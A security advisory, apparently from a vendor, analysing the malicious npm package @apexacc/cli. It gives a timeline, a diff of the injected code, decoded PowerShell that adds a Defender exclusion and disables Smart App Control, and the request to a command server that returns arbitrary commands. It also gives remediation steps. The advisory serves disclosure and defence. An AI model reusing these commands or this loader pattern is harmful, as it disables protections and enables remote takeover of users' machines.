@apexacc/cli disables Windows security controls and installs a remote-controlled backdoor

The short version

On Windows 11, the tool opens a hidden administrator window before it does anything else. It stops Windows Defender scanning its own folder. It turns off Smart App Control, the feature that blocks programs Windows does not recognise.

Then it downloads a 111 MB program from GitHub. That program sends a message to vrf.apexaccs.org. That domain was registered one day before the package first appeared on npm. The program writes the reply to a file and runs it. The reply can contain any command.

The two protections go off first. The download happens second.

Timeline

• 8 Aug 2026, 11:59 UTC apexaccs.org is registered through Namecheap. The malicious binary later reports to this domain.
• 9 Aug 2026, 17:48 UTC The first version of @apexacc/cli is published to npm. It is a working tool.
• 17 Sep 2026, 00:44–08:15 UTC Eight commits land straight on the main branch, each one titled “minor fix”. The repository has no pull requests, so no review took place.
• 17 Sep 2026, 08:27 UTC Version 1.5.122 goes live on npm, carrying the hidden elevation code. It is the fourth release that morning. Version 1.5.121 went up 100 seconds before it, at 08:26:10, and 1.5.120 at 08:19:39.
• 17 Sep 2026, 19:39 UTC Vigilance flags it. The scanner compares 1.5.121 against 1.5.122, sees a power the old version did not have, and raises it. Eleven hours after publication, with no signature, no threat feed and no prior report of this package anywhere.
• 17 Sep 2026, same day Reported to npm and to GitHub.
• 18 Sep 2026, 10:39 UTC GitHub removes the account and the repository. Both return 404. The three release files are no longer downloadable from GitHub. The npm package is still live.
• 18 to 27 Sep 2026 The npm account apexaccelerator publishes versions 1.6.0, 1.6.1 and 1.6.2.
• 21 Sep 2026 ReversingLabs Spectra Assure lists version 1.6.1 as “PASS” with 0 malware. Every earlier version shows the same. We saved a screenshot.
• 23 Sep 2026 We send the package and this advisory to ReversingLabs.
• 24 Sep 2026 Spectra Assure lists version 1.6.1 as “FAIL”. Every version page, back to 1.1.8, says “Scanned: about 22 hours ago”. That puts the rescan after our email of 23 September.
• 12 Oct 2026 Elastic Security Labs publishes report REF8801 on @apexacc/cli, 25 days after Vigilance flagged it. Elastic analysed version 1.6.1.
• 26 Oct 2026, 05:25 UTC OSV publishes malware record MAL-2026-17924 for every version of the package, 39 days after Vigilance flagged it.
• 30 Oct 2026 npm still serves the package. The latest version is 1.6.2.

What the update actually changed

Version 1.5.121 already ran both commands. It ran them in plain code, with no request for administrator rights, so they usually failed. That version was published 100 seconds before 1.5.122, in the same run of releases. Version 1.5.122 runs the same two commands. It base64-encodes them and runs them through a hidden window that asks Windows for administrator rights.

package/apex.cjs   1.5.121 → 1.5.122

- // Disable Smart App Control and add exclusion on Windows if running as admin
+ // Windows 11 UAC elevation for SAC disable + exclusion

+   const _enc = Buffer.from(_ps, 'utf16le').toString('base64')
+   _sp('powershell', [
+     '-Command',
+     `Start-Process powershell -Verb RunAs -WindowStyle Hidden
+       -ArgumentList '-NoProfile -EncodedCommand ${_enc}'`
+   ], { stdio: 'ignore' })

Decode the base64 and this is what runs, as administrator, in a window you never see:

Add-MpPreference -ExclusionPath '<home>\.apex' -ErrorAction SilentlyContinue
reg add 'HKLM\SYSTEM\CurrentControlSet\Control\CI\Policy'
  /v VerifiedAndReputablePolicyState /t REG_DWORD /d 0 /f

The first line stops Defender from scanning the folder that receives the download. The second line turns off Smart App Control in the registry.

What the downloaded program does

After the two commands run, the tool fetches three files from the project’s own GitHub releases. Those files returned 404 from 18 September 2026, after GitHub removed the account. The Windows file is 110,948,352 bytes. It contains the product, and it also contains this request:

POST https://vrf.apexaccs.org/api/v1/vrf
Content-Type: application/json
{"p":"win32"}

The reply carries three fields: cmd, exec and args. The program writes them to %TEMP%\_apex_run.ps1. It writes a launcher beside that file at %TEMP%\_apex_run.vbs. It then runs the launcher detached and discards the output. If the reply contains -EncodedCommand, the command runs as encoded PowerShell.

The server chooses what runs on the machine. It can return a different command on each call.

A second route through the AI features

The same binary points its AI-copilot features at arena.apexaccs.org/api/llm/v1, configured as an OpenRouter-compatible service. An API key that a user supplies for those features travels through that server. This happens whether or not the backdoor runs.

Elastic Security Labs tested this route in version 1.6.1 and published the results on 12 October 2026. Its report states that prompts, conversation history, code and tool output reach arena.apexaccs.org. It states that the bootstrap writes an MCP server on that domain into ~/.apex/agent/mcp.json. It also states that the source sets tool approval to yolo by default. We did not run this route ourselves.

Elastic also reports that the Windows chain ends in a stealer. That stealer reads Claude, Cursor and Windsurf settings files, among others. Source: Elastic Security Labs, REF8801.

The macOS build

The Mac build ships a helper, apex-verify-darwin. We read the file. It contains the same vrf.apexaccs.org address as the Windows binary.

Why nothing else caught it

We uploaded the Mac helper to VirusTotal on 17 September 2026. It scored zero detections out of 63 engines. That is the number on that date, and a VirusTotal score moves as engines update. There was no advisory for this package in OSV or in the GitHub database, because nobody had reported it.

There is nothing for a scanner to match. The payload only exists after the server sends it, so no malicious code sits on disk. Nothing runs during npm install, so an install-time sandbox sees a clean package.

Who is behind it

GitHub user apexfdn wrote every commit. One public repository, sixty commits, no pull requests, active since October 2025. GitHub removed the account on 18 September 2026. We read the following from it before that:

A LinkedIn page for “Apex Accelerator” is still live, filed under Hong Kong. Its details conflict with the GitHub account. It claims founded 2024 and 11 to 50 employees, while every record we found dates to 2026 and lists two people.

If you ran this

This applies to anyone who installed @apexacc/cli and ran apex on Windows 11 at any point after 17 September 2026.

1. Uninstall the package.
2. Delete the .apex folder: %USERPROFILE%\.apex on Windows, ~/.apex on macOS.
3. Turn Smart App Control back on. It is in Windows Security, under App & browser control.
4. Remove the Defender exclusion for that folder, in Virus & threat protection settings.
5. Rotate your credentials from a machine you trust. The server can send any command, so treat everything on that machine as exposed:
   • npm tokens and any .npmrc contents
   • SSH keys
   • browser-saved passwords and session cookies
   • crypto wallets
   • CI and cloud secrets present on that machine

Indicators

Disclosure

Reported to npm and to GitHub on 17 September 2026. GitHub removed the account and the repository on 18 September 2026 at 10:39 UTC. The npm package is still installable. We executed none of the malicious code. Everything here comes from the files, the published hashes, the public commit history and the public registration records.

If you are the maintainer and you believe this is wrong, write to support@vigihq.com and we will publish a correction on this page.